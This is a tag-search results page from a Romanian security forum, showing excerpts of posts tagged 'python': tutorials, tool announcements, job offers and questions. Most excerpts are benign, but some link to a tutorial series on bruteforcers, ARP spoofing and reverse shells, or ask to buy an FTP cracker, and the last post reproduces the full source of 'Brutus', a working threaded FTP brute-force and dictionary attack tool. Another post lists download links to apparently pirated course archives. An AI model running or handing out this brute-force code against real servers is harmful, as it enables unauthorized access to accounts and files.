Jump to content

Search the Community

Showing results for tags 'python'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Website URL


Yahoo


Jabber


Skype


Location


Interests


Biography


Location


Interests


Occupation

  1. 🐍 Python for Hackers: Learn by building - @hacklido #01 - SSH Bruteforcer using Asynchronous Programming (https://hacklido.com/blog/525-python-for-hackers-1-ssh-bruteforcer-using-asynchronous-programming) #02 - FTP Bruteforcer using asynchronous Programming (https://hacklido.com/blog/526-python-for-hackers-2-ftp-bruteforcer-using-asynchronous-programming) #03 - Building Directory Buster using asynchronous programming (https://hacklido.com/blog/565-python-for-hackers-3-building-directory-buster-using-asynchronous-programming) #04 - Building Arp Spoofing/Posioning Script (https://hacklido.com/blog/580-python-for-hackers-4-building-arp-spoofingposioning-script) #05 - Building A Mutlithreaded Network Scanner (https://hacklido.com/blog/642-python-for-hacker-5-building-a-mutlithreaded-network-scanner) #06 - Building A Recursive Web Crawler (https://hacklido.com/blog/647-python-for-hackers-6-building-a-recursive-web-crawler) #07 - Building a multithreaded Subdomain Bruteforcer (https://hacklido.com/blog/653-python-for-hackers-7-building-a-multithreaded-subdomain-bruteforcer) #08 - Building A PDF Password Brute Forcer (https://hacklido.com/blog/654-python-for-hackers-8-building-a-pdf-password-brute-forcer) #09 - Building a Hash Cracker (https://hacklido.com/blog/655-python-for-hackers-9-building-a-hash-cracker) #10 - Building a reverse shell (https://hacklido.com/blog/656-python-for-hackers-10-building-a-reverse-shell) 🔖 Collection: https://hacklido.com/lists/5
  2. https://nitro.download/view/218D09D3DA26FF8/CA.PYTHON.FOR.BEGINNERS.22.2.part1.rar https://nitro.download/view/78C3D4BF0DFD09B/CA.PYTHON.FOR.BEGINNERS.22.2.part2.rar https://nitro.download/view/F7C4CB81DEF6109/CA.PYTHON.FOR.BEGINNERS.22.2.part3.rar https://nitro.download/view/D8C8CB1F28EDDD2/dsvwc.Learn.Complete.Python3.GUI.using.Tkinter.part1.rar https://nitro.download/view/1CAECD1D3A66DA0/dsvwc.Learn.Complete.Python3.GUI.using.Tkinter.part2.rar https://nitro.download/view/9BA674419AF6DFB/dsvwc.Learn.Complete.Python3.GUI.using.Tkinter.part3.rar https://nitro.download/view/354200A91CF53D7/E6WmUCHy__Learning_Python_Made_Easy.rar https://nitro.download/view/30B4D2D03EAE55E/F730hMoz_.PythonSkil.rar https://nitro.download/view/F9CB5731E8C754E/FuXfpb9X__pythonpand.rar https://nitro.download/view/DEF43A3DB3AEB97/hd3og.Python.Automation.Automate.Mundane.Tasks.with.Python.rar https://nitro.download/view/E33E5A1C0FE3E2D/Just_enough_Python_Programming_for_Beginners.part1.rar https://nitro.download/view/34EEBF8B257B765/Just_enough_Python_Programming_for_Beginners.part2.rar https://nitro.download/view/F02921EC9B64A56/Just_enough_Python_Programming_for_Beginners.part3.rar https://nitro.download/view/5F159C664DA43BB/Just_enough_Python_Programming_for_Beginners.part4.rar https://nitro.download/view/1C6A78C0270ECD6/khqcb.Learn.to.Code.with.Python.Updated.part1.rar https://nitro.download/view/F1611D21AF9A0A3/khqcb.Learn.to.Code.with.Python.Updated.part2.rar https://nitro.download/view/43BA53B1D30355C/khqcb.Learn.to.Code.with.Python.Updated.part3.rar https://nitro.download/view/B64C83C263E7965/khqcb.Learn.to.Code.with.Python.Updated.part4.rar https://nitro.download/view/90ED2122B5FCF99/khqcb.Learn.to.Code.with.Python.Updated.part5.rar https://nitro.download/view/2CCF3DC2318053D/Project-Based_Python_Programming_For_Kids_and_Beginners__Video_.rar https://nitro.download/view/8BDAA74045FC933/Python_A-Z_Learn_Python_Programming_By_Building_Projects.rar https://nitro.download/view/EEC35E3D0DA6AF1/Python_Programming_in_5_Hours.part1.rar https://nitro.download/view/1A501131E2FF856/Python_Programming_in_5_Hours.part2.rar https://nitro.download/view/42A1DA16DDCB604/rxc50.Unit.Testing.in.Python.rar https://nitro.download/view/D834009BDD88B70/XumTDwh9__Python__Ba.rar https://nitro.download/view/65B03CCE82CE19E/Python_Programming_in_5_Hours.part3.rar
  3. Salutare, as vrea sa gasesc pe cineva care se pricepe la Javascript si Python sa preia de la mine 2 proiecte. Beneficiarul plateste 30 euro / ora pentru programare si 10 euro / ora pentru restul (convorbiri, documentatie, etc). Proiectele sunt functionale dar necesita mentenanta si imbunatatiri, plus ca beneficiarul nu se pricepe la linux. Deci totul trebuie explicat cu rabdare. Multam mihk
  4. Who should use this tool? TL;DR: Generate JPEG earth imagery from coordinates/location name with publicly available satellite data. This tool is for a sentient being who wants to view high-res satellite imagery of earth, without digging through all the nitty gritty geospatial details of it. So if this is your first time trying to explore how parts of the Earth look from space, you're at the right place. NB: felicette at the present state searches for cloud-cover < 10%, and doesn't constrain results on the basis of dates. One can see Product Roadmap for upcoming features. Installation felicette depends on GDAL. But the following steps cover GDAL's installation as well. rio-color uses numpy headers to setup, thus installing numpy and GDAL=={ogrinfo --version} would be sufficient before installing felicette. Debian $ sudo add-apt-repository ppa:ubuntugis/ppa $ sudo apt-get update $ sudo apt-get install python-numpy gdal-bin libgdal-dev $ gdal-config --version <version-number> * activate virtual environment * $ pip install numpy GDAL==<version-number> $ pip install felicette MacOS $ brew install gdal $ gdal-config --version <version-number> * activate virtual environment * $ pip install numpy GDAL==<version-number> $ pip install felicette Docker As pointed out here, the following docker image works and is volume-mapped to the present working directory. Thanks @milhouse1337 for the docker-image. rio-color, one of the felicette's dependencies isn't available on conda ecosystem yet. Here's the link to a small discussion on an installation-issue. This section would be updated when there is a stable version of felicette for Windows. Felicette has plans to build in-house RGB image enhancement algorithms or use imagemagick /[similar tools on conda-forge] for a Windows release, at least until rio-color is available on conda-forge/conda. Usage To use it: $ felicette --help Usage: felicette [OPTIONS] Satellite imagery for dummies. Options: -c, --coordinates FLOAT... Coordinates in (lon, lat) format. This overrides -l command -l, --location-name TEXT Location name in string format -p, --pan-enhancement Enhance image with panchromatic band -pre, --preview-image Preview pre-processed low resolution RGB satellite image. -v, --vegetation Show Color Infrared image to highlight vegetation --help Show this message and exit. Felicette can download and process Landsat images taking the location's input as (lon, lat) or the location name. They can be used in the following way. With location name: $ felicette -l "Kanyakumari" With coordinates: $ felicette -c 77.5385 8.0883 -p option uses the panchromatic band to enhance image's resolution to 15 meters, contrary to resolution of RGB bands(30 meters). To get a better image using felicette use: $ felicette -p -c 77.5385 8.0883 -pre option downloads a low-res image for preview, to check if the image is worth your computation, Network I/O. $ felicette -pre -p -c 77.5385 8.0883 -v option generates a CIR image to highlight vegetation in 'red' color. Note that, '-p' option isn't taken into consideration while generating CIR imagery in felicette. $ felicette -pre -v -l "Kanyakumari" History Félicette was the first cat launched into space, on 18 October 1963. Even though she landed back on earth safely, Félicette was euthanized two months after the launch so that scientists could perform a necropsy to examine her brain. She was the only cat to have survived spaceflight. Here's a footage of the mission from the archives. When you get a satellite imagery using this tool, imagine Félicette took the picture for you : Preview and examples Here are some more sample images generated by felicette. Here is a link to the original images generated with RGB, CIR options. Following is a recording of the terminal session recording usage of felicette. https://asciinema.org/a/349495 Source
  5. The reticulate package provides a comprehensive set of tools for interoperability between Python and R. With reticulate, you can call Python from R in a variety of ways including importing Python modules into R scripts, writing R Markdown Python chunks, sourcing Python scripts, and using Python interactively within the RStudio IDE. This cheatsheet will remind you how. Updated March 19. Download: reticulate.pdf (3.92 MB) Source
  6. Salut, Este cineva dispus sa imi construiasca un ftp cracker destept si eficient? Cu plata pe masura desigur.
  7. Hei, Am cunostinte destul de avansate in programare in limbaje precum C#, JS, TS si python, am 16 ani si pana acum am avut doar proiecte personale (nelegate de securitate), am facut freelancing pe upwork cam o saptamana in care am facut 25 $, m-am oprit deoarece imi cer o verificare de identitate. As dori sa gasesc o modalitate de a-mi creste veniturile regulat, nu mult, si 5$ pe saptamana e bine. Am gasit ceva despre webscraping dar m-am blocat nestiind unde trebuie sa gasesc clienti si date. Ati reusit sa va asigurati un venit regulat folosing aceasta metoda? V-as ruga sa imi sugerati si alte metode de a face bani folosind programare.
  8. Acum totul e corect politic @MrGrj Python joins movement to dump 'offensive' master, slave terms Python creator Guido van Rossum retired as "benevolent dictator for life" in July, but like Michael Corleone in The Godfather III, he's been pulled back in to resolve a debate about politically incorrect language. Like other open source communities, Python's minders have been asked whether they really want to continue using … Sursa: https://forums.theregister.co.uk/forum/6/2018/09/11/python_purges_master_and_slave_in_political_pogrom/#c_3610915 A quiet debate has developed for years in the coding community, forcing programmers to ask whether the terms "master" and "slave" are not insensitive. Now Python, one of the world's most popular programming languages, has abandoned the terminology – and not everyone is happy with it. Master / Slave is generally used in hardware, architecture and coding to refer to a device, database or process that controls another. For more than a decade, there has been some concern that the terms are offensive because of their relationship to the institution of slavery. Last week, a developer named Victo Stinner published four pull requests asking the Python community to consider changing the terms Master / Slave with something like Parent / Worker. "For reasons of diversity, it would be nice to try to avoid the" master "and" slave "terminology that can be associated with slavery," he wrote to explain his thinking. This is the internet, so people have opinions. Some people did not agree with the proposal in measured terms and simply did not think it was necessary. Others have launched on anti-diversity screeds and are predictably talking about censorship and mental control. "Seeing all the PC / SJW absurdities around me, I'm afraid this may be the beginning of Python becoming PCython," wrote a developer. Another commentator decided to take things literally, saying: "As far as I can [ sic ] I say that there is not a single instance where documents use" master "as a reference to human slavery or where use could be seen implicating an endorsement of that notion. " Someone else claimed that the terms are indeed positive in the BDSM community. "You want to support diversity, so why are you discriminating against that subculture?" They asked. And, of course, Reddit turned into a cesspool while the users watched it all go down. It was all enough to involve Guido van Rossum, the creator of Python. Van Rossum officially retired in July, leaving the community to defend itself when it comes to governance, but the quarrels have pulled it back to lay the law. "I'm closing this now," he wrote. His final decision was to accept three of Stinner's four requests. In his view, "the fourth should not be united because it reflects the underlying terminology of UNIX ptys". So you decide that Python 3.8 will change the term "slave" to "worker" or "helper" and "master process" to "parent process". Python was named the most popular programming language in the IEEE Spectrum world in the past year, so this change is great for the programming community. Following is the guide by Drupal and Django. If you think this is just another symptom of a desire out of control of being politically correct or not, it's just a fact that languages change over time. Programmers should know it better than anyone else. Sursa: https://aus.remonews.com/python-programming-language-ditches-master-slave-terms-pissing-off-some/ Fi-r-ar! Cum traducea Irina Margareta Nistor tot: "la naiba!"
  9. Citeam articolul de pe wikipedia despre Markov Chain (Link) si am spus sa incerc sa il implementez repede in Python. Link catre script. Am sa pun si un asciinema cand am timp ca imi face niste mofturi acum si nu am timp sa il rezolv. Aici e 'algoritmul' : * It eats exactly once a day. * If it ate cheese today, tomorrow it will eat lettuce or grapes with equal probability. * If it ate grapes today, tomorrow it will eat grapes with probability 1/10, cheese with probability 4/10 and lettuce with probability 5/10. * If it ate lettuce today, tomorrow it will eat grapes with probability 4/10 or cheese with probability 6/10. It will not eat lettuce again tomorrow. EDIT: Link catre 'demonstratie' https://asciinema.org/a/sKiuIfAeoaelS1zotA5TOt6zZ
  10. Primul program facut in "domeniul" machine learning. Sunt niste cerculete care evolueaza sa treaca peste un obstacol si sa ajunga la un target. Link Video link
  11. What is Rust? Rust is a systems programming language that runs blazingly fast, prevents segfaults, and guarantees thread safety. Featuring zero-cost abstractions move semantics guaranteed memory safety threads without data races trait-based generics pattern matching type inference minimal runtime efficient C bindings Description is taken from rust-lang.org. Why does it matter for a Python developer? The better description of Rust I heard from Elias (a member of the Rust Brazil Telegram Group). There is a bunch of Rust packages out there to help you extending Python with Rust. I can mention Milksnake created by Armin Ronacher (the creator of Flask) and also PyO3 The Rust bindings for Python interpreter. See a complete reference list at the bottom of this article. Let’s see it in action For this post, I am going to use Rust Cpython, it’s the only one I have tested, it is compatible with stable version of Rust and found it straightforward to use. Pros: It is easy to write Rust functions and import from Python and as you will see by the benchmarks it worth in terms of performance. Cons: The distribution of your project/lib/framework will demand the Rust module to be compiled on the target system because of variation of environment and architecture, there will be a compiling stage which you don’t have when installing Pure Python libraries, you can make it easier using rust-setuptools or using the MilkSnake to embed binary data in Python Wheels. Python is sometimes slow Yes, Python is known for being “slow” in some cases and the good news is that this doesn’t really matter depending on your project goals and priorities. For most projects, this detail will not be very important. However, you may face the rare case where a single function or module is taking too much time and is detected as the bottleneck of your project performance, often happens with string parsing and image processing. Example Let’s say you have a Python function which does a string processing, take the following easy example of counting pairs of repeated chars, but have in mind that this example can be reproduced with other string processing functions or any other generally slow process in Python. # How many subsequent-repeated group of chars are in the given string? abCCdeFFghiJJklmnopqRRstuVVxyZZ... {millions of chars here} 1 2 3 4 5 6 Python is slow for doing large string processing, so you can use pytest-benchmark to compare a Pure Python (with Iterator Zipping) function versus a Regexp implementation. # Using a Python3.6 environment $ pip3 install pytest pytest-benchmark Then write a new Python program called doubles.py import re import string import random # Python ZIP version def count_doubles(val): total = 0 # there is an improved version later on this post for c1, c2 in zip(val, val[1:]): if c1 == c2: total += 1 return total # Python REGEXP version double_re = re.compile(r'(?=(.)\1)') def count_doubles_regex(val): return len(double_re.findall(val)) # Benchmark it # generate 1M of random letters to test it val = ''.join(random.choice(string.ascii_letters) for i in range(1000000)) def test_pure_python(benchmark): benchmark(count_doubles, val) def test_regex(benchmark): benchmark(count_doubles_regex, val) Run pytest to compare: $ pytest doubles.py ============================================================================= platform linux -- Python 3.6.0, pytest-3.2.3, py-1.4.34, pluggy-0.4. benchmark: 3.1.1 (defaults: timer=time.perf_counter disable_gc=False min_roun rootdir: /Projects/rustpy, inifile: plugins: benchmark-3.1.1 collected 2 items doubles.py .. ----------------------------------------------------------------------------- Name (time in ms) Min Max Mean ----------------------------------------------------------------------------- test_regex 24.6824 (1.0) 32.3960 (1.0) 27.0167 (1.0) test_pure_python 51.4964 (2.09) 62.5680 (1.93) 52.8334 (1.96) ----------------------------------------------------------------------------- Lets take the Mean for comparison: Regexp – 27.0167 <– less is better Python Zip – 52.8334 Extending Python with Rust Create a new crate crate is how we call Rust Packages. Having rust installed (recommended way is Rust is https://www.rustup.rs/ )also available on Fedora and RHEL repositories by the rust-toolset I used rustc 1.21.0 In the same folder run: cargo new pyext-myrustlib It creates a new Rust project in that same folder called pyext-myrustlib containing the Cargo.toml (cargo is the Rust package manager) and also a src/lib.rs (where we write our library implementation). Edit Cargo.toml It will use the rust-cpython crate as dependency and tell cargo to generate a dylib to be imported from Python. [package] name = "pyext-myrustlib" version = "0.1.0" authors = ["Bruno Rocha <rochacbruno@gmail.com>"] [lib] name = "myrustlib" crate-type = ["dylib"] [dependencies.cpython] version = "0.1" features = ["extension-module"] Edit src/lib.rs What we need to do: Import all macros from cpython crate. Take Python and PyResult types from CPython into our lib scope. Write the count_doubles function implementation in Rust, note that this is very similar to the Pure Python version except for: It takes a Python as first argument, which is a reference to the Python Interpreter and allows Rust to use the Python GIL. Receives a &str typed val as reference. Returns a PyResult which is a type that allows the rise of Python exceptions. Returns an PyResult object in Ok(total) (Result is an enum type that represents either success (Ok) or failure (Err)) and as our function is expected to return a PyResult the compiler will take care of wrapping our Ok on that type. (note that our PyResult expects a u64 as return value). Using py_module_initializer! macro we register new attributes to the lib, including the __doc__ and also we add the count_doubles attribute referencing our Rust implementation of the function. Attention to the names libmyrustlib, initlibmyrustlib, and PyInit. We also use the try! macro, which is the equivalent to Python’stry.. except. Return Ok(()) – The () is an empty result tuple, the equivalent of None in Python. #[macro_use] extern crate cpython; use cpython::{Python, PyResult}; fn count_doubles(_py: Python, val: &str) -> PyResult<u64> { let mut total = 0u64; // There is an improved version later on this post for (c1, c2) in val.chars().zip(val.chars().skip(1)) { if c1 == c2 { total += 1; } } Ok(total) } py_module_initializer!(libmyrustlib, initlibmyrustlib, PyInit_myrustlib, |py, m | { try!(m.add(py, "__doc__", "This module is implemented in Rust")); try!(m.add(py, "count_doubles", py_fn!(py, count_doubles(val: &str)))); Ok(()) }); Now let’s build it with cargo $ cargo build --release Finished release [optimized] target(s) in 0.0 secs $ ls -la target/release/libmyrustlib* target/release/libmyrustlib.d target/release/libmyrustlib.so* <-- Our dylib is here Now let’s copy the generated .so lib to the same folder where our doubles.py is located. NOTE: on Fedora you must get a .so in other system you may get a .dylib and you can rename it changing extension to .so. $ cd .. $ ls doubles.py pyext-myrustlib/ $ cp pyext-myrustlib/target/release/libmyrustlib.so myrustlib.so $ ls doubles.py myrustlib.so pyext-myrustlib/ Having the myrustlib.so in the same folder or added to your Python path allows it to be directly imported, transparently as it was a Python module. Importing from Python and comparing the results Edit your doubles.py now importing our Rust implemented version and adding a benchmark for it. import re import string import random import myrustlib # <-- Import the Rust implemented module (myrustlib.so) def count_doubles(val): """Count repeated pair of chars ins a string""" total = 0 for c1, c2 in zip(val, val[1:]): if c1 == c2: total += 1 return total double_re = re.compile(r'(?=(.)\1)') def count_doubles_regex(val): return len(double_re.findall(val)) val = ''.join(random.choice(string.ascii_letters) for i in range(1000000)) def test_pure_python(benchmark): benchmark(count_doubles, val) def test_regex(benchmark): benchmark(count_doubles_regex, val) def test_rust(benchmark): # <-- Benchmark the Rust version benchmark(myrustlib.count_doubles, val) Benchmark $ pytest doubles.py ============================================================================== platform linux -- Python 3.6.0, pytest-3.2.3, py-1.4.34, pluggy-0.4. benchmark: 3.1.1 (defaults: timer=time.perf_counter disable_gc=False min_round rootdir: /Projects/rustpy, inifile: plugins: benchmark-3.1.1 collected 3 items doubles.py ... ----------------------------------------------------------------------------- Name (time in ms) Min Max Mean ----------------------------------------------------------------------------- test_rust 2.5555 (1.0) 2.9296 (1.0) 2.6085 (1.0) test_regex 25.6049 (10.02) 27.2190 (9.29) 25.8876 (9.92) test_pure_python 52.9428 (20.72) 56.3666 (19.24) 53.9732 (20.69) ----------------------------------------------------------------------------- Lets take the Mean for comparison: Rust – 2.6085 <– less is better Regexp – 25.8876 Python Zip – 53.9732 Rust implementation can be 10x faster than Python Regex and 21x faster than Pure Python Version. Interesting that Regex version is only 2x faster than Pure Python 🙂 NOTE: That numbers makes sense only for this particular scenario, for other cases that comparison may be different. Updates and Improvements After this article has been published I got some comments on r/python and also on r/rust The contributions came as Pull Requests and you can send a new if you think the functions can be improved. Thanks to: Josh Stone we got a better implementation for Rust which iterates the string only once and also the Python equivalent. Thanks to: Purple Pixie we got a Python implementation using itertools, however this version is not performing any better and still needs improvements. Iterating only once fn count_doubles_once(_py: Python, val: &str) -> PyResult<u64> { let mut total = 0u64; let mut chars = val.chars(); if let Some(mut c1) = chars.next() { for c2 in chars { if c1 == c2 { total += 1; } c1 = c2; } } Ok(total) } def count_doubles_once(val): total = 0 chars = iter(val) c1 = next(chars) for c2 in chars: if c1 == c2: total += 1 c1 = c2 return total Python with itertools import itertools def count_doubles_itertools(val): c1s, c2s = itertools.tee(val) next(c2s, None) total = 0 for c1, c2 in zip(c1s, c2s): if c1 == c2: total += 1 return total New Results ------------------------------------------------------------------------------- Name (time in ms) Min Max Mean ------------------------------------------------------------------------------- test_rust_once 1.0072 (1.0) 1.7659 (1.0) 1.1268 (1.0) test_rust 2.6228 (2.60) 4.5545 (2.58) 2.9367 (2.61) test_regex 26.0261 (25.84) 32.5899 (18.45) 27.2677 (24.20) test_pure_python_once 38.2015 (37.93) 43.9625 (24.90) 39.5838 (35.13) test_pure_python 52.4487 (52.07) 59.4220 (33.65) 54.8916 (48.71) test_itertools 58.5658 (58.15) 66.0683 (37.41) 60.8705 (54.02) ------------------------------------------------------------------------------- The new Rust implementation is 3x better than the old, but the python-itertools version is even slower than the pure python After adding the improvements to iterate the list of chars only once, Rust still has advantage from 1.1268 to 39.583 Conclusion Rust may not be yet the general purpose language of choice by its level of complexity and may not be the better choice yet to write common simple applications such as web sites and test automation scripts. However, for specific parts of the project where Python is known to be the bottleneck and your natural choice would be implementing a C/C++ extension, writing this extension in Rust seems easy and better to maintain. There are still many improvements to come in Rust and lots of others crates to offer Python <--> Rust integration. Even if you are not including the language in your tool belt right now, it is really worth to keep an eye open to the future! References The code snippets for the examples showed here are available in GitHub repo: https://github.com/rochacbruno/rust-python-example. The examples in this publication are inspired by Extending Python with Rust talk by Samuel Cormier-Iijima in Pycon Canada. video here: Also by My Python is a little Rust-y by Dan Callahan in Pycon Montreal. video here: Other references: https://github.com/mitsuhiko/snaek https://github.com/PyO3/pyo3 https://pypi.python.org/pypi/setuptools-rust https://github.com/mckaymatt/cookiecutter-pypackage-rust-cross-platform-publish http://jakegoulding.com/rust-ffi-omnibus/ https://github.com/urschrei/polylabel-rs/blob/master/src/ffi.rs https://bheisler.github.io/post/calling-rust-in-python/ https://github.com/saethlin/rust-lather Join Community Join Rust community, you can find group links in https://www.rust-lang.org/en-US/community.html. If you speak Portuguese, I recommend you to join https://t.me/rustlangbr and there is the http://bit.ly/canalrustbr on Youtube. Author Bruno Rocha Senior Quality Engineer at Red Hat Teaching Python and Flask at CursoDePython.com.br Fellow Member of Python Software Foundation Member of RustBR study group M0ore info: http://about.me/rochacbruno and http://brunorocha.org Source
  12. Salut. Trăgând cu ochiul peste niște proiecte pe github, am văzut fișiere .sh, mă uitam să văd ce anume fac, majoritatea erau pentru automatizare, care făceau request-uri sau alte lucruri de genul, comenzi bash, desigur. Mă gândeam dacă am nevoie de bash scripts, devreme ce știu puțin python, de ce nu aș putea obține aceleași rezultate cu acesta (py), în loc de bash? M-am uitat să văd ce zice google, primele rezultate de la stackoverflow, majoritatea sugerau că depinde de preferințe și alții explicau diferența dintre modul în care sunt executate, poate câteva detalii despre performanță și lucruri low-level care m-au făcut confuz. Voi ce părere aveți? Când folosiți bash în loc de python/ruby și vice versa? Desigur, python/ruby sunt pentru domenii mai largi, eu vreau să îndrept subiectul spre domeniul în care este folosit bash-ul mai mult, I guess sysops stuff. P.S.: Nu sunt atât de informat cu privire la lucruri de genul, mă scuzați dacă întrebările sunt cam nepotrivite.
  13. Acesta este siteul :: https://github.com/citronneur/rdpy si programelul: https://github.com/citronneur/rdpy/blob/master/bin/rdpy-rdpscreenshot.py Creez o fila bat in care sa rulez mai multe linii una dupa alta,acest programel ia prima linie''face treaba'' apoi inchide conectiune python.exe si tot asa.Problema este ca unele lini da o anumita eroare: SecurityNegoFail: negotiation failure code 5 si stagneaza la nesfarsit nu mai trece niciodata la urmatoarea linie (si nu mai inchide Python.exe) iar memoria creste de la 21 k la 909 k,stie cineva modifica scriptul asa incat sa se inchida atunci cand primesc eroarea? multumesc
  14. Brutus is a small threaded python FTP brute-force and dictionary attack tool. It supports several brute-force parameters such as a custom character sets, password length, minimum password length, prefix, and postfix strings to passwords generated. Download brutus-0.3.py Usage: usage: brutus.py [-h] [-w WORDLIST] [-c CHARSET] [-l [LENGTH]] [-m [MINLENGTH]] [-r PREFIX] [-o POSTFIX] [-p [PAUSE]] [-t [THREADS]] [-v [VERBOSE]] host username positional arguments: host FTP host username username to crack optional arguments: -h, --help show this help message and exit -w WORDLIST, --wordlist WORDLIST wordlist of passwords -c CHARSET, --charset CHARSET character set for brute-force -l [LENGTH], --length [LENGTH] password length for brute-force -m [MINLENGTH], --minlength [MINLENGTH] Minimum password length -r PREFIX, --prefix PREFIX prefix each password for brute-force -o POSTFIX, --postfix POSTFIX postfix each password for brute-force -p [PAUSE], --pause [PAUSE] pause time between launching threads -t [THREADS], --threads [THREADS] num of threads -v [VERBOSE], --verbose [VERBOSE] verbose output Mirror: ################################################################################ # tool: Brutus - FTP Brute-Force/Dictionary Attack Tool # version: 0.3 # email: mrh@bushisecurity.com # www: bushisecurity.com/brutus/ ################################################################################ # MIT License # Copyright (c) 2017 Phillip Aaron # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal# # in the Software without restriction, including without limitation the rights# # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell# # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import argparse, sys, threading, time from datetime import datetime from itertools import chain, product from ftplib import FTP # Create some global variables class glob: pwd = False # Used for stopping attack when password found chrset = "" # Character set for brute-force prefix = "" # Prefix string postfix = "" # Postfix string length = 8 # Default lenth of password minlength = 5 # Default min length of password thrds = 10 # Defualt num of threads verb = False # Default value for verbose output pause = 0.01 # Default throttle time, 1 = one second cnt = 0 # Counting number of attempts # Iterable Method for brute-forcing a character set and length def bruteforce(charset, maxlength, minlength): return (''.join(candidate) for candidate in chain.from_iterable(product(charset, repeat=i) for i in range(minlength, maxlength + 1))) # Method for making ftp connections def crack(host, user, pwd): try: if glob.verb: # Check for verbose output print "[" + str(glob.cnt) + "] Trying: " + pwd.strip() ftp = FTP(host) # Create FTP object if ftp.login (user, pwd): # Check if true print "\nPassword for " + user + ": " + pwd.strip() print "==================================================" glob.pwd = True # Set global value print ftp.dir() # Display contents of root FTP ftp.quit() # Disconnect from FTP except Exception as err: pass # Ignore errors # Method wait for threads to complete def wait(threads): for thread in threads: thread.join() # Method for staging attack def main(args): try: start = datetime.now() # Time attack started print "\nAttacking FTP user [" + args.username + "] at [" + args.host + "]" print "==================================================" thrdCnt = 0;threads = [] # Local variables # Set global variables if args.pause:glob.pause = float(args.pause) if args.verbose:glob.verb = True if args.threads:glob.thrds = int(args.threads) if args.length:glob.length = int(args.length) if args.minlength:glob.minlength = int(args.minlength) if args.charset:glob.chrset = args.charset if args.prefix:glob.prefix = args.prefix if args.postfix:glob.postfix = args.postfix if args.charset == None: # Create charset from printable ascii range for char in range(37,127):glob.chrset += chr(char) # Brute force attack if args.wordlist == None: for pwd in bruteforce(glob.chrset, int(glob.length),int(glob.minlength)): # Launch brute-force if glob.pwd: break # Stop if password found if thrdCnt != args.threads: # Create threads until args.threads if args.prefix: pwd = str(args.prefix) + pwd if args.postfix: pwd += str(args.postfix) thread = threading.Thread(target=crack, args=(args.host,args.username,pwd,)) thread.start() threads.append(thread) thrdCnt += 1;glob.cnt+=1 time.sleep(glob.pause) # Set pause time else: # Wait for threads to complete wait(threads) thrdCnt = 0 threads = [] # Dictionary attack else: with open(args.wordlist) as fle: # Open wordlist for pwd in fle: # Loop through passwords if glob.pwd: break # Stop if password found if thrdCnt != args.threads: # Create threads until args.threads thread = threading.Thread(target=crack, args=(args.host,args.username,pwd,)) thread.start() threads.append(thread) thrdCnt +=1;glob.cnt+=1 time.sleep(glob.pause) # Set pause time else: wait(threads) # Wait for threads to complete thrdCnt = 0 threads = [] except KeyboardInterrupt: print "\nUser Cancelled Attack, stopping remaining threads....." wait(threads) # Wait for threads to complete sys.exit(0) # Kill app wait(threads) # Wait for threads to complete stop = datetime.now() print "==================================================" print "Attack Duration: " + str(stop - start) print "Attempts: " + str(glob.cnt) + "\n" if __name__ == "__main__": # Declare an argparse variable to handle application command line arguments parser = argparse.ArgumentParser() parser.add_argument("host", action="store", help="FTP host") parser.add_argument("username", action="store", help="username to crack") parser.add_argument("-w", "--wordlist", action="store", help="wordlist of passwords") parser.add_argument("-c", "--charset", action="store", help="character set for brute-force") parser.add_argument("-l", "--length", action="store", help="password length for brute-force", nargs='?', default=8, const=8, type=int) parser.add_argument("-m","--minlength", action="store", nargs='?', default=1, const=1, help="Minimum password length", type=int) parser.add_argument("-r","--prefix", action="store", help="prefix each password for brute-force") parser.add_argument("-o","--postfix", action="store", help="postfix each password for brute-force") parser.add_argument("-p", "--pause", action="store", help="pause time between launching threads", nargs='?', default=0.01, const=0.01) parser.add_argument("-t", "--threads", action="store", help="num of threads", nargs='?', default=10, const=10, type=int) parser.add_argument("-v", "--verbose", action="store", help="verbose output", nargs='?', default=False, const=True) # Show help if required arg not included if len(sys.argv[1:])==0: parser.print_help() parser.exit() args = parser.parse_args() if args.minlength != None or args.length != None: if args.minlength > args.length: print "\n** Argument Logic Error **" print "Minimum password length [-m "+str(args.minlength)+"] is greater than Password length [-l "+str(args.length)+"]\n" parser.print_help() parser.exit() main(args) Source
